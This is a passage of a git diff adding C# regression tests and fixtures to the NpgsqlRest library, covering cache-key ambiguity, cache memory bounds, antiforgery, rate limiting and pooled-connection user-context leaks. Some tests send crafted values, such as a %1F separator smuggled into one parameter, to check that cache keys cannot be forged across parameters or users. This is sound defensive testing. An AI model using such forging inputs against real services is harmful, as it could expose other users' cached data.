a/NpgsqlRestTests/RoutineCacheTests/CacheKeyAmbiguityTests.cs b/NpgsqlRestTests/RoutineCacheTests/CacheKeyAmbiguityTests.cs new file mode 100644 index 00000000..0d8e8d1d --- /dev/null +++ b/NpgsqlRestTests/RoutineCacheTests/CacheKeyAmbiguityTests.cs @@ -0,0 +1,66 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CacheKeyAmbiguityTests() + { + script.Append(@" +create function cache_amb_two(_a text default null, _b text default null) +returns text +language sql +as $$ select coalesce(_a, '-') || '|' || coalesce(_b, '-') || '|' || random()::text $$; +comment on function cache_amb_two(text, text) is 'HTTP GET +cached _a, _b'; + +create function cache_amb_user(_user_id text default null, _query text default null) +returns text +language sql +as $$ select coalesce(_user_id, 'anon') || '|' || coalesce(_query, '-') || '|' || random()::text $$; +comment on function cache_amb_user(text, text) is 'HTTP GET +user_params +cached _user_id, _query'; +"); + } +} + +/// +/// Security regression: response-cache keys must be unambiguous. They used to be the routine plus the values of the +/// supplied cached parameters, without names and without lengths, so omitted parameters were indistinguishable and a +/// value containing the separator (%1F) could forge another parameter list - including across users. +/// +[Collection("TestFixture")] +public class CacheKeyAmbiguityTests(TestFixture test) +{ + [Fact] + public async Task Different_omitted_parameters_do_not_share_a_cache_entry() + { + var first = await test.Client.GetStringAsync("/api/cache-amb-two/?a=omit1"); + first.Should().StartWith("omit1|-|"); + + var second = await test.Client.GetStringAsync("/api/cache-amb-two/?b=omit1"); + second.Should().StartWith("-|omit1|"); + } + + [Fact] + public async Task A_value_containing_the_separator_cannot_forge_another_parameter_list() + { + var first = await test.Client.GetStringAsync("/api/cache-amb-two/?a=sep1&b=sep2"); + first.Should().StartWith("sep1|sep2|"); + + var forged = await test.Client.GetStringAsync("/api/cache-amb-two/?a=sep1%1Fsep2"); + forged.Should().StartWith("sep1\u001fsep2|-|"); + } + + [Fact] + public async Task Anonymous_request_does_not_get_a_users_cached_response() + { + using var user = test.Application.CreateClient(); + using var login = await user.GetAsync("/login"); // name_identifier claim "user123" -> _user_id + var userResponse = await user.GetStringAsync("/api/cache-amb-user/"); + userResponse.Should().StartWith("user123|-|"); + + // anonymous caller puts the same value in a different parameter + var anonymousResponse = await test.Client.GetStringAsync("/api/cache-amb-user/?query=user123"); + anonymousResponse.Should().StartWith("anon|user123|"); + } +} diff --git a/NpgsqlRestTests/RoutineCacheTests/CacheMemoryBoundsTests.cs b/NpgsqlRestTests/RoutineCacheTests/CacheMemoryBoundsTests.cs new file mode 100644 index 00000000..30435c08 --- /dev/null +++ b/NpgsqlRestTests/RoutineCacheTests/CacheMemoryBoundsTests.cs @@ -0,0 +1,53 @@ +namespace NpgsqlRestTests; + +/// +/// Security regression: the in-memory response cache and the per-key gates of the set-returning cache path are +/// bounded. Cache keys contain request values, so both used to grow by one entry per distinct value a caller sent +/// (and cache entries without an expiration were never removed). +/// +[Collection("TestFixture")] +public class CacheMemoryBoundsTests(TestFixture test) +{ + [Fact] + public void Memory_cache_does_not_admit_new_keys_when_full() + { + var options = RoutineCache.CurrentOptions; + var saved = options.MemoryCacheMaxEntries; + var cache = new RoutineCache(); + var prefix = Guid.NewGuid().ToString("N"); + try + { + options.MemoryCacheMaxEntries = RoutineCache.EntryCount + 2; + var ttl = TimeSpan.FromMinutes(1); + cache.AddOrUpdate(null!, prefix + "1", "one", ttl); + cache.AddOrUpdate(null!, prefix + "2", "two", ttl); + cache.AddOrUpdate(null!, prefix + "3", "three", ttl); // full: not admitted + + cache.Get(null!, prefix + "1", out var one).Should().BeTrue(); + one.Should().Be("one"); + cache.Get(null!, prefix + "3", out _).Should().BeFalse(); + + // an existing key can still be updated when full + cache.AddOrUpdate(null!, prefix + "2", "two-updated", ttl); + cache.Get(null!, prefix + "2", out var two).Should().BeTrue(); + two.Should().Be("two-updated"); + } + finally + { + options.MemoryCacheMaxEntries = saved; + cache.Remove(prefix + "1"); + cache.Remove(prefix + "2"); + } + } + + [Fact] + public async Task Set_cache_gates_are_removed_after_the_requests() + { + for (var i = 1; i <= 5; i++) + { + using var response = await test.Client.GetAsync($"/api/cache-get-set/?count={100 + i}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + } + NpgsqlRestEndpoint.RecordCacheGateCount.Should().Be(0); + } +} diff --git a/NpgsqlRestTests/Setup/AntiforgeryTestFixture.cs b/NpgsqlRestTests/Setup/AntiforgeryTestFixture.cs new file mode 100644 index 00000000..0551d461 --- /dev/null +++ b/NpgsqlRestTests/Setup/AntiforgeryTestFixture.cs @@ -0,0 +1,61 @@ +using Microsoft.AspNetCore.Antiforgery; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using NpgsqlRestClient; + +namespace NpgsqlRestTests.Setup; + +[CollectionDefinition("AntiforgeryTestFixture")] +public class AntiforgeryTestFixtureCollection : ICollectionFixture { } + +/// +/// Antiforgery wired the way the npgsqlrest client does it when Antiforgery:Enabled is true: +/// AddAntiforgery + UseAntiforgery, and App.CreateAntiforgeryRouteHandler marking every NpgsqlRest endpoint as +/// requiring a token. /af-token issues the antiforgery cookie and returns the request token. +/// +public class AntiforgeryTestFixture : IDisposable +{ + public const string HeaderName = "X-Test-Csrf"; + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public AntiforgeryTestFixture() + { + var connectionString = Database.Create(); + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAntiforgery(options => options.HeaderName = HeaderName); + + _app = builder.Build(); + _app.UseAntiforgery(); + + _app.MapGet("/af-token", (HttpContext context, IAntiforgery antiforgery) => + antiforgery.GetAndStoreTokens(context).RequestToken!); + + _app.UseNpgsqlRest(new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "af[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + RouteHandlerCreated = App.CreateAntiforgeryRouteHandler(antiForgeryUsed: true), + }); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} diff --git a/NpgsqlRestTests/Setup/Database.cs b/NpgsqlRestTests/Setup/Database.cs index 0e5f1361..b7122f58 100644 --- a/NpgsqlRestTests/Setup/Database.cs +++ b/NpgsqlRestTests/Setup/Database.cs @@ -12,7 +12,12 @@ public static partial class Database private const string Port = "5432"; private const string Username = "postgres"; private const string Password = "postgres"; - private const string InitialConnectionString = $"Host={Host};Port={Port};Database=postgres;Username={Username};Password={Password}"; + // Idle connections are closed after a few seconds (Npgsql keeps them for 5 minutes by default). The suite has + // many fixtures, each with a pool of its own that lives until the process ends; kept idle, they added up to + // 84 of PostgreSQL's default 100 connections, and a test that then needed a new physical connection (a + // connection of its own, or the one Npgsql opens to cancel a running command) failed whenever anything + // else was connected to the server. + private const string InitialConnectionString = $"Host={Host};Port={Port};Database=postgres;Username={Username};Password={Password};Connection Idle Lifetime=3;Connection Pruning Interval=1"; private static readonly StringBuilder script = new(); private static readonly object _createLock = new(); private static volatile bool _created = false; diff --git a/NpgsqlRestTests/Setup/McpPluginTestFixture.cs b/NpgsqlRestTests/Setup/McpPluginTestFixture.cs index fe83cbd5..b7a9d5e5 100644 --- a/NpgsqlRestTests/Setup/McpPluginTestFixture.cs +++ b/NpgsqlRestTests/Setup/McpPluginTestFixture.cs @@ -58,11 +58,17 @@ public McpPluginTestFixture() // requests an endpoint (e.g. `mcp`). OpenApi is loaded too so we can assert that a pure // modifier (`openapi hide`) on a non-HTTP routine does NOT spawn an endpoint. CommentsMode = CommentsMode.OnlyAnnotated, + // cached endpoints get a cache invalidation endpoint (which must not become a second tool) + CacheOptions = new() { InvalidateCacheSuffix = "invalidate" }, EndpointCreateHandlers = [_mcp, new OpenApi(new OpenApiOptions())], EndpointsCreated = endpoints => { foreach (var endpoint in endpoints) { + if (endpoint.InvalidateCache) + { + continue; + } Endpoints[endpoint.Routine.Name] = endpoint; } } diff --git a/NpgsqlRestTests/Setup/Program.cs b/NpgsqlRestTests/Setup/Program.cs index 0cd6acab..aa5cf478 100644 --- a/NpgsqlRestTests/Setup/Program.cs +++ b/NpgsqlRestTests/Setup/Program.cs @@ -94,6 +94,11 @@ public class Program /// public static string OpenApi31OutputPath { get; } = Path.Combine(Path.GetTempPath(), "NpgsqlRestTests", "OpenApi31"); + /// + /// Output path for OpenApi generated files with SpecVersion=3.2 (used by tests) + /// + public static string OpenApi32OutputPath { get; } = Path.Combine(Path.GetTempPath(), "NpgsqlRestTests", "OpenApi32"); + static async Task ValidateAsync(ParameterValidationValues p) { if (p.Routine.Name == "case_jsonpath_param" && p.Parameter.Value?.ToString() == "XXX") @@ -250,7 +255,7 @@ public static void Main() // apt_* (owned by AuthSchemeTestFixture). All reference fixture-specific configuration that // is not present here (cache profiles, rate-limiter policies named "rlpt-..."/"rlpm-...", // auth profiles), so picking them up in the default fixture would fail at startup. - NameNotSimilarTo = "(cp[_x]|rlpt[_]|rlpm[_]|ast[_]|cab[_]|cabx[_]|sset[_]|pcd)%", + NameNotSimilarTo = "(cp[_x]|rlpt[_]|rlpm[_]|ast[_]|cab[_]|cabx[_]|sset[_]|pcd|ierr[_])%", // TsClient configuration for testing - uses tsclient_module annotations for per-function files EndpointCreateHandlers = [ @@ -439,6 +444,15 @@ public static void Main() AddCurrentServer = false, SpecVersion = "3.1" }), + // The same once more with SpecVersion=3.2, where HTTP QUERY endpoints are documented + new OpenApi(new OpenApiOptions + { + FileName = Path.Combine(OpenApi32OutputPath, "openapi.json"), + FileOverwrite = true, + DocumentTitle = "NpgsqlRest Test API", + AddCurrentServer = false, + SpecVersion = "3.2" + }), ], CommentsMode = CommentsMode.ParseAll, ValidateParametersAsync = ValidateAsync, diff --git a/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs b/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs index a134c7fc..f4b58f01 100644 --- a/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs +++ b/NpgsqlRestTests/Setup/RateLimiterPerPolicyTestFixture.cs @@ -55,8 +55,8 @@ public RateLimiterPerPolicyTestFixture() { options.RejectionStatusCode = StatusCodes.Status429TooManyRequests; options.OnRejected = (context, cancellationToken) => - Builder.ApplyRateLimiterRejectionAsync( - context.HttpContext, overrides, StatusCodes.Status429TooManyRequests, GlobalMessage, cancellationToken); + Builder.RateLimiterRejectedAsync( + context, overrides, StatusCodes.Status429TooManyRequests, GlobalMessage, retryAfterHeader: true, cancellationToken); foreach (var name in new[] { "rlpm-login", "rlpm-strict", "rlpm-inherit" }) { diff --git a/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs b/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs new file mode 100644 index 00000000..93d443b9 --- /dev/null +++ b/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs @@ -0,0 +1,88 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; + +namespace NpgsqlRestTests.Setup; + +[CollectionDefinition("RequestContextBatchTestFixture")] +public class RequestContextBatchTestFixtureCollection : ICollectionFixture { } + +/// +/// For the request context that is sent together with the routine (RequestContextBatch). The pool has exactly one +/// connection and it is never reset on close, so every request runs in the same PostgreSQL session: anything a +/// request left on its connection would be visible to the next request. +/// +public class RequestContextBatchTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public NpgsqlRestOptions Options { get; } + + public RequestContextBatchTestFixture() + { + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + // Its own pool: Npgsql pools by connection string, and another fixture with the same one would share this + // fixture's only connection - and whatever that fixture's requests leave on it. + ApplicationName = "request-context-batch-tests", + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + + _app = builder.Build(); + + _app.MapGet("/rcb-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: + [ + new Claim("user_id", "123"), + new Claim("user_name", "admin"), + ], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + Options = new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "rcb[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + }; + _app.UseNpgsqlRest(Options); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + + /// A client that is logged in as user_id 123, user_name admin. + public async Task LoggedInClientAsync() + { + var client = new HttpClient(new HttpClientHandler { UseCookies = true, CookieContainer = new System.Net.CookieContainer() }) + { + BaseAddress = new Uri(ServerAddress) + }; + using var login = await client.GetAsync("/rcb-login"); + login.EnsureSuccessStatusCode(); + return client; + } + + public HttpClient AnonymousClient() => new() { BaseAddress = new Uri(ServerAddress) }; + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} diff --git a/NpgsqlRestTests/Setup/SseTestClient.cs b/NpgsqlRestTests/Setup/SseTestClient.cs index f97faa71..26120b3a 100644 --- a/NpgsqlRestTests/Setup/SseTestClient.cs +++ b/NpgsqlRestTests/Setup/SseTestClient.cs @@ -75,6 +75,42 @@ public async Task WaitForRegisteredAsync(TimeSpan? timeout = null) } } + /// + /// Reads the raw field lines of the next event (comment lines starting with ':' skipped), up to the blank line that + /// ends it. Returns null if the stream ends or the timeout elapses first. + /// + public async Task?> ReadEventLinesAsync(TimeSpan timeout) + { + using var perRead = CancellationTokenSource.CreateLinkedTokenSource(_cts.Token); + perRead.CancelAfter(timeout); + var lines = new List(); + try + { + string? line; + while ((line = await _reader.ReadLineAsync(perRead.Token)) is not null) + { + if (line.Length == 0) + { + if (lines.Count > 0) + { + return lines; + } + continue; + } + if (line.StartsWith(':')) + { + continue; + } + lines.Add(line); + } + return null; + } + catch (OperationCanceledException) + { + return null; + } + } + /// /// Reads lines until one starts with data: and returns the value after the colon /// (trimmed of leading whitespace). Returns null if the stream ends before a data line is diff --git a/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs b/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs index 31e8f6f9..358f4b44 100644 --- a/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs +++ b/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs @@ -31,6 +31,7 @@ public class StaticFilesTestFixture : IDisposable public HttpClient Client => _client; public HttpClient AuthenticatedClient => _authenticatedClient; public string ServerAddress { get; } + public string WebRootPath => _webRootPath; /// /// Test claim values for authenticated user diff --git a/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs b/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs index 608fa7d2..a0e1326c 100644 --- a/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs +++ b/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs @@ -37,6 +37,13 @@ public UnhandledCommentLinesTestFixture() { IncludeSchemas = ["cmt"], CommentsMode = CommentsMode.ParseAll, + EndpointCreateHandlers = [new CmtPluginHandler()], + // upload handlers under names with capitals: an annotation's words are lower case + UploadOptions = new() + { + Enabled = true, + DefaultUploadHandlerOptions = new() { CsvUploadKey = "Csv", LargeObjectKey = "LO" } + }, EndpointsCreated = endpoints => { foreach (var endpoint in endpoints) @@ -62,3 +69,23 @@ public void Dispose() _app.DisposeAsync().GetAwaiter().GetResult(); } } + +/// A plugin that claims the comment line "cmtplugin" and remembers that it did. +public class CmtPluginHandler : IEndpointCreateHandler +{ + public CommentLineResult? HandleCommentLine(RoutineEndpoint endpoint, string line, string[] words, string[] wordsLower) + { + if (wordsLower.Length == 0 || wordsLower[0].TrimStart('@') != "cmtplugin") + { + return null; + } + endpoint.Items["cmtplugin"] = true; + return new CommentLineResult("cmtplugin"); + } + + public CommentAnnotation[] Annotations => + [ + new() { Name = "cmtplugin", Aliases = ["cmtplugin"], Syntax = "cmtplugin", Description = "Test plugin annotation.", Owner = "cmtplugin", ValueKind = AnnotationValueKind.None, Example = "cmtplugin" }, + new() { Name = "cmt_key", Aliases = ["cmt_key"], Syntax = "cmt_key = ", Description = "Test plugin key.", Owner = "cmtplugin", Form = AnnotationForm.KeyValue, Example = "cmt_key = x" }, + ]; +} diff --git a/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs b/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs new file mode 100644 index 00000000..b6331359 --- /dev/null +++ b/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs @@ -0,0 +1,72 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; + +namespace NpgsqlRestTests.Setup; + +[CollectionDefinition("UserContextLeakTestFixture")] +public class UserContextLeakTestFixtureCollection : ICollectionFixture { } + +/// +/// Reproduces the pooled-connection identity leak: a pool of exactly one connection that is NOT reset on close +/// (the configuration the npgsqlrest client used to force), so consecutive requests share one session and any +/// session-level user_context setting left by one request is visible to the next. +/// +public class UserContextLeakTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public UserContextLeakTestFixture() + { + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + + _app = builder.Build(); + + _app.MapGet("/ucl-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: + [ + new Claim("user_id", "123"), + new Claim("user_name", "admin"), + ], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + _app.UseNpgsqlRest(new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "ucl[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + AuthenticationOptions = new() + { + ClaimsJsonContextKey = "request.user_claims", + }, + }); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs index 8583a560..4e019fff 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs @@ -36,31 +36,31 @@ public static void SqlFileAuthorizedTests() // Authorized by user name — matches "user" File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_name.sql"), """ - -- @authorize user + -- @authorize user:user select 'by_name' as result; """); // Authorized by user name — wrong name File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_name_wrong.sql"), """ - -- @authorize wrong_user + -- @authorize user:wrong_user select 'by_name_wrong' as result; """); // Authorized by user ID — matches "user123" File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_userid.sql"), """ - -- @authorize user123 + -- @authorize id:user123 select 'by_userid' as result; """); // Authorized by user ID — wrong ID File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_userid_wrong.sql"), """ - -- @authorize wrong_id + -- @authorize id:wrong_id select 'by_userid_wrong' as result; """); // Authorized mixed — wrong role but matching user ID File.WriteAllText(Path.Combine(Dir, "sf_authorized_mixed.sql"), """ - -- @authorize wrong_role, user123 + -- @authorize wrong_role, id:user123 select 'mixed' as result; """); diff --git a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs new file mode 100644 index 00000000..be2aed0f --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs @@ -0,0 +1,232 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void SqlFileRequestContextBatchTests() + { + script.Append(""" + create table sfrcb_log (v text primary key, user_id text); + create procedure sfrcb_proc() language plpgsql as $$ begin null; end $$; + """); + } + } +} + +namespace NpgsqlRestTests.SqlFileSourceTests +{ + /// + /// SQL files and the request context that is sent together with the statement (RequestContextBatch): a file with + /// a single query or data change qualifies, anything else keeps the session-level context. + /// + public class SqlFileRequestContextBatchTests : IDisposable + { + private const string ContextQuery = """ + -- HTTP GET + -- @user_context + -- @param $1 p text + select $1 || ':' || coalesce(nullif(current_setting('request.user_id', true), ''), '') as value; + """; + + private const string ContextInsert = """ + -- HTTP POST + -- @user_context + -- @param $1 v text + insert into sfrcb_log (v, user_id) values ($1, current_setting('request.user_id', true)) returning v, user_id; + """; + + private const string Peek = """ + -- HTTP GET + select coalesce(nullif(current_setting('request.user_id', true), ''), '') as value; + """; + + private readonly List _directories = []; + + private string WriteFiles(params (string Name, string Sql)[] files) + { + var directory = Path.Combine(Path.GetTempPath(), "npgsqlrest_sfrcb_" + Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(directory); + _directories.Add(directory); + foreach (var (name, sql) in files) + { + File.WriteAllText(Path.Combine(directory, name), sql); + } + return directory; + } + + private static NpgsqlRestOptions CreateOptions(string connectionString, string directory) => new(connectionString) + { + CommentsMode = CommentsMode.OnlyWithHttpTag, + RequiresAuthorization = false, + EndpointSources = + [ + new SqlFileSource(new SqlFileSourceOptions + { + FilePattern = directory.Replace('\\', '/') + "/**/*.sql", + CommentsMode = CommentsMode.OnlyWithHttpTag, + CommentScope = CommentScope.All, + ErrorMode = ParseErrorMode.Exit, + }) + ], + }; + + /// Builds the endpoints of the given files (without serving them) and returns the options. + private async Task BuildAsync(params (string Name, string Sql)[] files) + { + var builder = WebApplication.CreateBuilder(); + builder.Logging.ClearProviders(); + await using var app = builder.Build(); + + var options = CreateOptions(Database.Create(), WriteFiles(files)); + var currentOptions = NpgsqlRestOptions.Options; + var currentLogger = NpgsqlRestOptions.Logger; + try + { + app.UseNpgsqlRest(options); + } + finally + { + NpgsqlRestOptions.Options = currentOptions; + NpgsqlRestOptions.Logger = currentLogger; + } + return options; + } + + [Fact] + public async Task Query_and_data_change_files_send_their_context_with_the_statement() + { + // One connection that is never reset: what a request leaves on it, the next request sees. + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + // its own pool (Npgsql pools by connection string), so no other test's requests use this connection + ApplicationName = "sql-file-request-context-batch-tests", + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + await using var app = builder.Build(); + app.MapGet("/sfrcb-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: [new Claim("user_id", "123"), new Claim("user_name", "admin")], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + var options = CreateOptions(connectionString, WriteFiles( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_insert.sql", ContextInsert), + ("sfrcb_peek.sql", Peek))); + app.UseNpgsqlRest(options); + await app.StartAsync(); + + options.ConnectionResetRequired.Should().BeFalse(); + + using var user = new HttpClient(new HttpClientHandler { UseCookies = true, CookieContainer = new System.Net.CookieContainer() }) + { + BaseAddress = new Uri(app.Urls.First()) + }; + using var anonymous = new HttpClient { BaseAddress = new Uri(app.Urls.First()) }; + using (var login = await user.GetAsync("/sfrcb-login")) + { + login.StatusCode.Should().Be(HttpStatusCode.OK); + } + + using (var response = await user.GetAsync("/api/sfrcb-context?p=a")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"a:123\"]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-peek")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"\"]"); + } + using (var body = new StringContent("{\"v\":\"row 1\"}", Encoding.UTF8, "application/json")) + using (var response = await user.PostAsync("/api/sfrcb-insert", body)) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"v\":\"row 1\",\"userId\":\"123\"}]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-context?p=b")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"b:\"]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-peek")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"\"]"); + } + + await app.StopAsync(); + } + + [Fact] + public async Task Reset_is_not_required_for_query_and_data_change_files() + { + (await BuildAsync(("sfrcb_context.sql", ContextQuery), ("sfrcb_insert.sql", ContextInsert), ("sfrcb_peek.sql", Peek))) + .ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Reset_is_required_when_a_file_with_several_statements_uses_user_context() + { + // its statements are executed one by one: settings local to the first would not reach the second + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_multi.sql", """ + -- HTTP GET + -- @user_context + select current_setting('request.user_id', true) as a; + select current_setting('request.user_name', true) as b; + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Reset_is_required_when_a_do_block_uses_user_context() + { + // a do block can commit, which would end local settings + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_do.sql", """ + -- HTTP POST + -- @user_context + do $$ begin perform current_setting('request.user_id', true); end $$; + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Reset_is_required_when_a_procedure_call_uses_user_context() + { + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_call.sql", """ + -- HTTP POST + -- @user_context + call sfrcb_proc(); + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + public void Dispose() + { + foreach (var directory in _directories) + { + try { if (Directory.Exists(directory)) Directory.Delete(directory, true); } catch { } + } + GC.SuppressFinalize(this); + } + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs b/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs index 3c38bdc8..945a0e3c 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs @@ -145,4 +145,24 @@ public void TypeDescriptor_Json_IsJson() var td = new NpgsqlRest.TypeDescriptor("json"); td.IsJson.Should().BeTrue(); } + + [Theory] + [InlineData("@param $1 type is integer", "integer")] + [InlineData("param $1 TYPE IS uuid;", "uuid")] + [InlineData("@param $1 type is integer default 5", "integer")] + public void Positional_retype_without_rename_gives_a_hint(string comment, string type) + { + var hints = SqlFileParser.ExtractParamTypeHints(comment); + hints.Should().NotBeNull(); + hints![0].Should().Be(type); + } + + [Theory] + [InlineData("@param $1 type is")] + [InlineData("@param $1 type is not_a_type")] + [InlineData("@param $0 type is integer")] + public void Positional_retype_without_a_usable_type_gives_no_hint(string comment) + { + SqlFileParser.ExtractParamTypeHints(comment).Should().BeNull(); + } } diff --git a/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs b/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs new file mode 100644 index 00000000..0e41aceb --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs @@ -0,0 +1,160 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Logging; +using NpgsqlRest; +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +/// +/// Comments in SQL files: a sentence that begins with "Returns" or "result" is prose, not an annotation; the +/// source's own annotation lines are never published as the description; and "@http" is an HTTP tag. +/// ErrorMode is Exit on purpose: a comment taken for a broken @returns would end the test process. +/// +public class SqlFileCommentProseTests : IDisposable +{ + private readonly WebApplication _app; + private readonly HttpClient _client; + private readonly string _sqlDir; + private readonly Dictionary _endpoints = new(StringComparer.Ordinal); + + public SqlFileCommentProseTests() + { + var connectionString = Database.Create(); + + _sqlDir = Path.Combine(Path.GetTempPath(), "npgsqlrest_prose_test_" + 